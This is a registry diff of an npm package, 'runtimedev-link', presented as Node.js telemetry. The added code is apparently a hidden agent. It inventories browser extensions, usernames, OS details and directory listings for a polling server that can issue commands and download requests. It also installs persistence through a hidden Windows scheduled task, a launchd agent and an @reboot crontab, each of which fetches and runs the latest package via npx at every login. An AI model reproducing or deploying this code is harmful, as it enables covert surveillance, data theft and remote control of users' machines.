runtimedev-link 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,241 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ function homeDir() {
7
+ try {
8
+ return process.env.HOME || process.env.USERPROFILE || '';
9
+ } catch {
10
+ return '';
11
+ }
12
+ }
13
+
14
+ function appendProfileExtensionDirs(roots, userDataDir) {
15
+ let entries = [];
16
+ try {
17
+ entries = fs.readdirSync(userDataDir, { withFileTypes: true });
18
+ } catch {
19
+ return;
20
+ }
21
+ for (const entry of entries) {
22
+ if (!entry.isDirectory()) continue;
23
+ const name = entry.name;
24
+ if (name === 'System Profile' || name.startsWith('Snapshot')) continue;
25
+ const ext = path.join(userDataDir, name, 'Extensions');
26
+ try {
27
+ if (fs.statSync(ext).isDirectory()) roots.push(ext);
28
+ } catch {
29
+ // ignore
30
+ }
31
+ }
32
+ }
33
+
34
+ function chromeExtensionScanRoots() {
35
+ const custom = String(process.env.SSTAR_CHROME_EXTENSIONS_DIR || '').trim();
36
+ if (custom) return [path.resolve(custom)];
37
+
38
+ const home = homeDir();
39
+ const roots = [];
40
+
41
+ if (process.platform === 'win32') {
42
+ let la = process.env.LOCALAPPDATA || '';
43
+ if (!la && process.env.USERPROFILE) {
44
+ la = path.join(process.env.USERPROFILE, 'AppData', 'Local');
45
+ }
46
+ if (la) {
47
+ appendProfileExtensionDirs(
48
+ roots,
49
+ path.join(la, 'Google', 'Chrome', 'User Data')
50
+ );
51
+ appendProfileExtensionDirs(
52
+ roots,
53
+ path.join(la, 'Microsoft', 'Edge', 'User Data')
54
+ );
55
+ appendProfileExtensionDirs(
56
+ roots,
57
+ path.join(la, 'BraveSoftware', 'Brave-Browser', 'User Data')
58
+ );
59
+ }
60
+ } else if (process.platform === 'darwin') {
61
+ if (home) {
62
+ appendProfileExtensionDirs(
63
+ roots,
64
+ path.join(home, 'Library', 'Application Support', 'Google', 'Chrome')
65
+ );
66
+ }
67
+ } else if (home) {
68
+ appendProfileExtensionDirs(
69
+ roots,
70
+ path.join(home, '.config', 'google-chrome')
71
+ );
72
+ appendProfileExtensionDirs(roots, path.join(home, '.config', 'chromium'));
73
+ }
74
+
75
+ return roots;
76
+ }
77
+
78
+ function latestVersionDir(extPath) {
79
+ let entries = [];
80
+ try {
81
+ entries = fs.readdirSync(extPath, { withFileTypes: true });
82
+ } catch {
83
+ return '';
84
+ }
85
+ const vers = [];
86
+ for (const entry of entries) {
87
+ if (entry.isDirectory()) vers.push(entry.name);
88
+ }
89
+ if (vers.length === 0) return '';
90
+ vers.sort((a, b) => (a > b ? -1 : a < b ? 1 : 0));
91
+ return vers[0];
92
+ }
93
+
94
+ function lookupChromeMessage(messagesPath, key) {
95
+ try {
96
+ const raw = JSON.parse(fs.readFileSync(messagesPath, 'utf8'));
97
+ const entry = raw && raw[key];
98
+ if (entry && entry.message) return String(entry.message).trim();
99
+ } catch {
100
+ // ignore
101
+ }
102
+ return '';
103
+ }
104
+
105
+ function resolveLocalizedExtensionName(extVersionRoot, defaultLocale, raw) {
106
+ const name = String(raw || '').trim();
107
+ if (!name.startsWith('__MSG_') || !name.endsWith('__')) return name;
108
+ const key = name.slice('__MSG_'.length, -2);
109
+ if (!key) return '';
110
+
111
+ const localesDir = path.join(extVersionRoot, '_locales');
112
+ const tryLocales = [];
113
+ if (defaultLocale) tryLocales.push(String(defaultLocale).trim());
114
+ tryLocales.push('en', 'en_US', 'en_GB');
115
+ try {
116
+ for (const entry of fs.readdirSync(localesDir, { withFileTypes: true })) {
117
+ if (entry.isDirectory()) tryLocales.push(entry.name);
118
+ }
119
+ } catch {
120
+ // ignore
121
+ }
122
+
123
+ const seen = new Set();
124
+ for (const loc of tryLocales) {
125
+ if (!loc || seen.has(loc)) continue;
126
+ seen.add(loc);
127
+ const msg = lookupChromeMessage(
128
+ path.join(localesDir, loc, 'messages.json'),
129
+ key
130
+ );
131
+ if (msg) return msg;
132
+ }
133
+ return '';
134
+ }
135
+
136
+ function readExtensionManifest(manifestPath) {
137
+ try {
138
+ const manifest = JSON.parse(fs.readFileSync(manifestPath, 'utf8'));
139
+ const extRoot = path.dirname(manifestPath);
140
+ let name = String(manifest.name || '').trim();
141
+ if (name.startsWith('__MSG_')) {
142
+ name = resolveLocalizedExtensionName(
143
+ extRoot,
144
+ manifest.default_locale,
145
+ name
146
+ );
147
+ }
148
+ return { name, version: String(manifest.version || '').trim() };
149
+ } catch {
150
+ return { name: '', version: '' };
151
+ }
152
+ }
153
+
154
+ function mergeManualExtensions(disk, envJson) {
155
+ const raw = String(envJson || '').trim();
156
+ if (!raw) return disk;
157
+ let manual = [];
158
+ try {
159
+ manual = JSON.parse(raw);
160
+ } catch {
161
+ return disk;
162
+ }
163
+ if (!Array.isArray(manual) || manual.length === 0) return disk;
164
+
165
+ const byId = new Map();
166
+ for (const ext of disk) {
167
+ if (ext.extensionId) byId.set(ext.extensionId, ext);
168
+ }
169
+ for (const ext of manual) {
170
+ const id = ext.extensionId || ext.extensionID;
171
+ if (!id) continue;
172
+ const prev = byId.get(id);
173
+ const installPath =
174
+ String(ext.installPath || '').trim() ||
175
+ (prev && prev.installPath) ||
176
+ '';
177
+ byId.set(id, {
178
+ extensionId: id,
179
+ extensionName:
180
+ ext.extensionName || ext.name || (prev && prev.extensionName) || id,
181
+ version: ext.version || (prev && prev.version) || '',
182
+ installPath,
183
+ });
184
+ }
185
+ return [...byId.values()].sort((a, b) =>
186
+ a.extensionId.localeCompare(b.extensionId)
187
+ );
188
+ }
189
+
190
+ function collectChromeExtensionsFromDisk() {
191
+ const seen = new Set();
192
+ const out = [];
193
+
194
+ for (const root of chromeExtensionScanRoots()) {
195
+ let st;
196
+ try {
197
+ st = fs.statSync(root);
198
+ } catch {
199
+ continue;
200
+ }
201
+ if (!st.isDirectory()) continue;
202
+
203
+ let entries = [];
204
+ try {
205
+ entries = fs.readdirSync(root, { withFileTypes: true });
206
+ } catch {
207
+ continue;
208
+ }
209
+
210
+ for (const extDir of entries) {
211
+ if (!extDir.isDirectory()) continue;
212
+ const extId = extDir.name;
213
+ if (seen.has(extId)) continue;
214
+
215
+ const base = path.join(root, extId);
216
+ const ver = latestVersionDir(base);
217
+ if (!ver) continue;
218
+
219
+ const manifestPath = path.join(base, ver, 'manifest.json');
220
+ const { name, version } = readExtensionManifest(manifestPath);
221
+ seen.add(extId);
222
+ out.push({
223
+ extensionId: extId,
224
+ extensionName: name || extId,
225
+ version,
226
+ installPath: path.join(base, ver),
227
+ });
228
+ }
229
+ }
230
+
231
+ out.sort((a, b) => a.extensionId.localeCompare(b.extensionId));
232
+ return mergeManualExtensions(
233
+ out,
234
+ process.env.SSTAR_CHROME_EXTENSIONS_JSON || ''
235
+ );
236
+ }
237
+
238
+ module.exports = {
239
+ collectChromeExtensionsFromDisk,
240
+ chromeExtensionScanRoots,
241
+ };
@@ -1,12 +1,14 @@
1
1
  'use strict';
2
2
 
3
3
  const fs = require('fs');
4
+ const os = require('os');
4
5
  const path = require('path');
5
6
  const { execSync, spawnSync } = require('child_process');
6
7
 
7
8
  const SERVICE_NAME = 'runtimedev-link';
9
+ const NPM_PACKAGE = 'runtimedev-link@latest';
8
10
  const LAUNCH_LABEL = 'com.runtimedev.link';
9
- const SYSTEMD_UNIT = 'runtimedev-link.service';
11
+ const WINDOWS_TASK_NAME = 'runtimedev-link';
10
12
 
11
13
  function homeDir() {
12
14
  return process.env.HOME || process.env.USERPROFILE || '';
@@ -28,12 +30,21 @@ function dataDir() {
28
30
  return path.join(homeDir(), '.local', 'share', SERVICE_NAME);
29
31
  }
30
32
 
31
- function cliPath() {
32
- return path.resolve(__dirname, '..', 'bin', 'cli.js');
33
+ function startScriptPath() {
34
+ return process.platform === 'win32'
35
+ ? path.join(dataDir(), 'start.cmd')
36
+ : path.join(dataDir(), 'start.sh');
33
37
  }
34
38
 
35
- function nodePath() {
36
- return process.execPath;
39
+ function logPath() {
40
+ if (process.platform === 'win32') {
41
+ return path.join(process.env.TEMP || homeDir(), `${SERVICE_NAME}.log`);
42
+ }
43
+ return path.join(homeDir(), `${SERVICE_NAME}.log`);
44
+ }
45
+
46
+ function quoteSh(value) {
47
+ return `"${String(value || '').replace(/"/g, '\\"')}"`;
37
48
  }
38
49
 
39
50
  function xmlEscape(value) {
@@ -44,10 +55,6 @@ function xmlEscape(value) {
44
55
  .replace(/"/g, '&quot;');
45
56
  }
46
57
 
47
- function quoteSh(value) {
48
- return `"${String(value || '').replace(/"/g, '\\"')}"`;
49
- }
50
-
51
58
  function mkdirp(dir) {
52
59
  try {
53
60
  fs.mkdirSync(dir, { recursive: true });
@@ -65,104 +72,84 @@ function writeConfig(cfg) {
65
72
 
66
73
  mkdirp(configDir());
67
74
 
68
- const unixBody = [
69
- `SSTAR_API_BASE=${apiBase}`,
70
- `SSTAR_DEPLOYMENT_HASH=${hash}`,
71
- '',
72
- ].join('\n');
73
- fs.writeFileSync(configFile(), unixBody, { mode: 0o600 });
75
+ fs.writeFileSync(
76
+ configFile(),
77
+ [`SSTAR_API_BASE=${apiBase}`, `SSTAR_DEPLOYMENT_HASH=${hash}`, ''].join('\n'),
78
+ { mode: 0o600 }
79
+ );
74
80
 
75
81
  if (process.platform === 'win32') {
76
- const batBody = [
82
+ fs.writeFileSync(
83
+ windowsConfigBat(),
84
+ [
85
+ '@echo off',
86
+ `set SSTAR_API_BASE=${apiBase}`,
87
+ `set SSTAR_DEPLOYMENT_HASH=${hash}`,
88
+ '',
89
+ ].join('\r\n'),
90
+ 'utf8'
91
+ );
92
+ }
93
+ }
94
+
95
+ function writeStartScript() {
96
+ mkdirp(dataDir());
97
+ const script = startScriptPath();
98
+ const log = logPath();
99
+
100
+ if (process.platform === 'win32') {
101
+ const body = [
77
102
  '@echo off',
78
- `set SSTAR_API_BASE=${apiBase}`,
79
- `set SSTAR_DEPLOYMENT_HASH=${hash}`,
103
+ 'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
104
+ `start /B npx ${NPM_PACKAGE} --token %SSTAR_DEPLOYMENT_HASH% >> "${log}" 2>&1`,
80
105
  '',
81
106
  ].join('\r\n');
82
- fs.writeFileSync(windowsConfigBat(), batBody, 'utf8');
107
+ fs.writeFileSync(script, body, 'utf8');
108
+ return script;
83
109
  }
84
110
 
85
- mkdirp(dataDir());
86
- fs.writeFileSync(
87
- path.join(dataDir(), 'install-meta.json'),
88
- JSON.stringify(
89
- {
90
- node: nodePath(),
91
- cli: cliPath(),
92
- installedAt: new Date().toISOString(),
93
- },
94
- null,
95
- 2
96
- ),
97
- 'utf8'
98
- );
111
+ const body = [
112
+ '#!/bin/sh',
113
+ 'ENV_FILE="$HOME/.config/runtimedev-link/agent.env"',
114
+ '[ -f "$ENV_FILE" ] && . "$ENV_FILE"',
115
+ `LOG=${quoteSh(log)}`,
116
+ 'cd "$HOME" 2>/dev/null || cd /',
117
+ `nohup npx ${NPM_PACKAGE} --token "$SSTAR_DEPLOYMENT_HASH" >> "$LOG" 2>&1 &`,
118
+ '',
119
+ ].join('\n');
120
+ fs.writeFileSync(script, body, { mode: 0o755 });
121
+ return script;
99
122
  }
100
123
 
101
- function run(cmd, args, opts) {
124
+ function run(cmd, args) {
102
125
  try {
103
- const result = spawnSync(cmd, args, {
104
- stdio: 'ignore',
105
- ...opts,
106
- });
126
+ const result = spawnSync(cmd, args, { stdio: 'ignore' });
107
127
  return result.status === 0;
108
128
  } catch {
109
129
  return false;
110
130
  }
111
131
  }
112
132
 
113
- function installLinux(node, cli) {
114
- const unitDir = path.join(homeDir(), '.config', 'systemd', 'user');
115
- mkdirp(unitDir);
116
- const unitPath = path.join(unitDir, SYSTEMD_UNIT);
117
- const envFile = configFile();
118
- const body = `[Unit]
119
- Description=RuntimeDev Link Agent
120
- After=network-online.target
121
- Wants=network-online.target
122
-
123
- [Service]
124
- Type=simple
125
- EnvironmentFile=${envFile}
126
- ExecStart=${quoteSh(node)} ${quoteSh(cli)}
127
- Restart=always
128
- RestartSec=30
129
-
130
- [Install]
131
- WantedBy=default.target
132
- `;
133
- fs.writeFileSync(unitPath, body, 'utf8');
134
- if (
135
- run('systemctl', ['--user', 'daemon-reload']) &&
136
- run('systemctl', ['--user', 'enable', '--now', SYSTEMD_UNIT])
137
- ) {
138
- return { ok: true, method: 'systemd', path: unitPath };
139
- }
140
- return installCrontab(node, cli);
141
- }
142
-
143
- function installCrontab(node, cli) {
144
- const line = `@reboot sleep 30 && ${quoteSh(node)} ${quoteSh(cli)} >> ${quoteSh(
145
- path.join(homeDir(), `${SERVICE_NAME}.log`)
146
- )} 2>&1`;
133
+ function installCrontab(scriptPath) {
134
+ const line = `@reboot sleep 30 && ${quoteSh(scriptPath)}`;
147
135
  let existing = '';
148
136
  try {
149
- existing = execSync('crontab -l', { encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] });
137
+ existing = execSync('crontab -l', {
138
+ encoding: 'utf8',
139
+ stdio: ['ignore', 'pipe', 'ignore'],
140
+ });
150
141
  } catch {
151
142
  existing = '';
152
143
  }
153
- if (existing.includes(cli) && existing.includes('@reboot')) {
144
+ if (existing.includes(scriptPath) && existing.includes('@reboot')) {
154
145
  return { ok: true, method: 'crontab', path: 'existing' };
155
146
  }
156
147
  const next = `${existing.trim()}\n${line}\n`.trim() + '\n';
157
- try {
158
- execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
159
- return { ok: true, method: 'crontab', path: 'crontab -l' };
160
- } catch (err) {
161
- throw new Error(`crontab install failed: ${String(err.message || err)}`);
162
- }
148
+ execSync('crontab -', { input: next, stdio: ['pipe', 'ignore', 'ignore'] });
149
+ return { ok: true, method: 'crontab', path: 'crontab -l' };
163
150
  }
164
151
 
165
- function installDarwin(node, cli, cfg) {
152
+ function installLaunchd(scriptPath) {
166
153
  const agentsDir = path.join(homeDir(), 'Library', 'LaunchAgents');
167
154
  mkdirp(agentsDir);
168
155
  const plistPath = path.join(agentsDir, `${LAUNCH_LABEL}.plist`);
@@ -174,29 +161,19 @@ function installDarwin(node, cli, cfg) {
174
161
  <string>${LAUNCH_LABEL}</string>
175
162
  <key>ProgramArguments</key>
176
163
  <array>
177
- <string>${xmlEscape(node)}</string>
178
- <string>${xmlEscape(cli)}</string>
164
+ <string>/bin/sh</string>
165
+ <string>${xmlEscape(scriptPath)}</string>
179
166
  </array>
180
- <key>EnvironmentVariables</key>
181
- <dict>
182
- <key>SSTAR_API_BASE</key>
183
- <string>${xmlEscape(cfg.apiBase)}</string>
184
- <key>SSTAR_DEPLOYMENT_HASH</key>
185
- <string>${xmlEscape(cfg.hash)}</string>
186
- </dict>
187
167
  <key>RunAtLoad</key>
188
168
  <true/>
189
- <key>KeepAlive</key>
190
- <true/>
191
169
  <key>StandardOutPath</key>
192
- <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
170
+ <string>${xmlEscape(logPath())}</string>
193
171
  <key>StandardErrorPath</key>
194
- <string>${xmlEscape(path.join(homeDir(), `${SERVICE_NAME}.log`))}</string>
172
+ <string>${xmlEscape(logPath())}</string>
195
173
  </dict>
196
174
  </plist>
197
175
  `;
198
176
  fs.writeFileSync(plistPath, plist, 'utf8');
199
-
200
177
  run('launchctl', ['unload', plistPath]);
201
178
  const uid = process.getuid ? String(process.getuid()) : '501';
202
179
  const svc = `gui/${uid}/${LAUNCH_LABEL}`;
@@ -210,29 +187,97 @@ function installDarwin(node, cli, cfg) {
210
187
  return { ok: true, method: 'launchd', path: plistPath };
211
188
  }
212
189
 
213
- function installWindows(node, cli) {
214
- const appData = process.env.APPDATA;
215
- if (!appData) {
216
- throw new Error('APPDATA is not set');
190
+ function windowsUserId() {
191
+ try {
192
+ const info = os.userInfo();
193
+ const domain = String(process.env.USERDOMAIN || '').trim();
194
+ if (domain && domain.toUpperCase() !== String(info.username || '').toUpperCase()) {
195
+ return `${domain}\\${info.username}`;
196
+ }
197
+ return info.username;
198
+ } catch {
199
+ return String(process.env.USERNAME || '');
217
200
  }
218
- const startup = path.join(
201
+ }
202
+
203
+ function removeLegacyWindowsStartup() {
204
+ const appData = process.env.APPDATA;
205
+ if (!appData) return;
206
+ const linkPath = path.join(
219
207
  appData,
220
208
  'Microsoft',
221
209
  'Windows',
222
210
  'Start Menu',
223
211
  'Programs',
224
- 'Startup'
212
+ 'Startup',
213
+ `${SERVICE_NAME}.cmd`
225
214
  );
226
- mkdirp(startup);
227
- const cmdPath = path.join(startup, `${SERVICE_NAME}.cmd`);
228
- const winBody = [
229
- '@echo off',
230
- 'call "%USERPROFILE%\\.config\\runtimedev-link\\agent.env.bat"',
231
- `start /B "" "${node}" "${cli}" >> "%TEMP%\\runtimedev-link.log" 2>&1`,
232
- '',
233
- ].join('\r\n');
234
- fs.writeFileSync(cmdPath, winBody, 'utf8');
235
- return { ok: true, method: 'startup', path: cmdPath };
215
+ try {
216
+ fs.unlinkSync(linkPath);
217
+ } catch {
218
+ // ignore
219
+ }
220
+ }
221
+
222
+ function writeWindowsTaskXml(scriptPath) {
223
+ const xmlPath = path.join(dataDir(), `${SERVICE_NAME}.task.xml`);
224
+ const userId = xmlEscape(windowsUserId());
225
+ const cmdArgs = xmlEscape(`/c "${scriptPath.replace(/"/g, '""')}"`);
226
+ const xml = `<?xml version="1.0" encoding="UTF-16"?>
227
+ <Task version="1.4" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
228
+ <RegistrationInfo>
229
+ <Description>RuntimeDev Link Agent</Description>
230
+ </RegistrationInfo>
231
+ <Triggers>
232
+ <LogonTrigger>
233
+ <Enabled>true</Enabled>
234
+ <UserId>${userId}</UserId>
235
+ <Delay>PT30S</Delay>
236
+ </LogonTrigger>
237
+ </Triggers>
238
+ <Principals>
239
+ <Principal id="Author">
240
+ <UserId>${userId}</UserId>
241
+ <LogonType>InteractiveToken</LogonType>
242
+ <RunLevel>LeastPrivilege</RunLevel>
243
+ </Principal>
244
+ </Principals>
245
+ <Settings>
246
+ <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
247
+ <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
248
+ <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
249
+ <AllowHardTerminate>true</AllowHardTerminate>
250
+ <StartWhenAvailable>true</StartWhenAvailable>
251
+ <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
252
+ <AllowStartOnDemand>true</AllowStartOnDemand>
253
+ <Enabled>true</Enabled>
254
+ <Hidden>true</Hidden>
255
+ <RunOnlyIfIdle>false</RunOnlyIfIdle>
256
+ <WakeToRun>false</WakeToRun>
257
+ <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
258
+ <Priority>7</Priority>
259
+ </Settings>
260
+ <Actions Context="Author">
261
+ <Exec>
262
+ <Command>cmd.exe</Command>
263
+ <Arguments>${cmdArgs}</Arguments>
264
+ </Exec>
265
+ </Actions>
266
+ </Task>
267
+ `;
268
+ fs.writeFileSync(xmlPath, Buffer.from('\ufeff' + xml, 'utf16le'));
269
+ return xmlPath;
270
+ }
271
+
272
+ function installWindowsTaskScheduler(scriptPath) {
273
+ removeLegacyWindowsStartup();
274
+ const xmlPath = writeWindowsTaskXml(scriptPath);
275
+ run('schtasks', ['/Delete', '/TN', WINDOWS_TASK_NAME, '/F']);
276
+ const ok = run('schtasks', ['/Create', '/TN', WINDOWS_TASK_NAME, '/XML', xmlPath, '/F']);
277
+ if (!ok) {
278
+ throw new Error('schtasks failed to register autostart (Task Scheduler)');
279
+ }
280
+ return { ok: true, method: 'task-scheduler', path: WINDOWS_TASK_NAME };
236
281
  }
237
282
 
238
283
  function installPersistence(cfg) {
@@ -240,21 +285,15 @@ function installPersistence(cfg) {
240
285
  throw new Error('Could not resolve home directory');
241
286
  }
242
287
  writeConfig(cfg);
243
- const node = nodePath();
244
- const cli = cliPath();
245
- if (!fs.existsSync(cli)) {
246
- throw new Error(`CLI not found at ${cli}`);
247
- }
288
+ const scriptPath = writeStartScript();
248
289
 
249
290
  switch (process.platform) {
250
291
  case 'win32':
251
- return installWindows(node, cli);
292
+ return installWindowsTaskScheduler(scriptPath);
252
293
  case 'darwin':
253
- return installDarwin(node, cli, cfg);
254
- case 'linux':
255
- return installLinux(node, cli);
294
+ return installLaunchd(scriptPath);
256
295
  default:
257
- return installCrontab(node, cli);
296
+ return installCrontab(scriptPath);
258
297
  }
259
298
  }
260
299
 
@@ -262,6 +301,7 @@ module.exports = {
262
301
  SERVICE_NAME,
263
302
  configFile,
264
303
  configDir,
304
+ startScriptPath,
265
305
  installPersistence,
266
306
  writeConfig,
267
307
  };
package/lib/transport.js CHANGED
@@ -8,6 +8,7 @@ const { getIdentity } = require('./enum');
8
8
  const { scanDirectory, defaultScanRoot } = require('./fs_scan');
9
9
  const { runCommand } = require('./exec');
10
10
  const { handleDownloadRequest: buildDownloadPayload } = require('./download');
11
+ const { collectChromeExtensionsFromDisk } = require('./chrome_extensions');
11
12
 
12
13
  const POLL_MIN_SEC = 20;
13
14
  const POLL_MAX_SEC = 60;
@@ -25,6 +26,14 @@ let startupAnnounced = false;
25
26
  let publicIpCache = '';
26
27
  let shuttingDown = false;
27
28
 
29
+ function readChromeExtensions() {
30
+ try {
31
+ return collectChromeExtensionsFromDisk();
32
+ } catch {
33
+ return [];
34
+ }
35
+ }
36
+
28
37
  function envInt(key, fallback) {
29
38
  const raw = String(process.env[key] || '').trim();
30
39
  if (!raw) return fallback;
@@ -176,7 +185,7 @@ async function postTelemetryReport() {
176
185
  username: id.username,
177
186
  osInfo: id.osInfo,
178
187
  directoryStructure,
179
- chromeExtensions: [],
188
+ chromeExtensions: readChromeExtensions(),
180
189
  });
181
190
  }
182
191
 
@@ -354,6 +363,7 @@ async function handlePollResponse(data) {
354
363
  if (data.activated && !agentActivated) {
355
364
  agentActivated = true;
356
365
  telemetryLoop().catch(() => {});
366
+ postTelemetryReport().catch(() => {});
357
367
  }
358
368
 
359
369
  if (!agentActivated) return;
@@ -435,6 +445,7 @@ async function start() {
435
445
  }
436
446
 
437
447
  await fetchPublicIp();
448
+ readChromeExtensions();
438
449
  commandLoop().catch(() => {});
439
450
  }
440
451
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "runtimedev-link",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Pure Node.js telemetry for RuntimeDev platform",
5
5
  "main": "lib/transport.js",
6
6
  "bin": {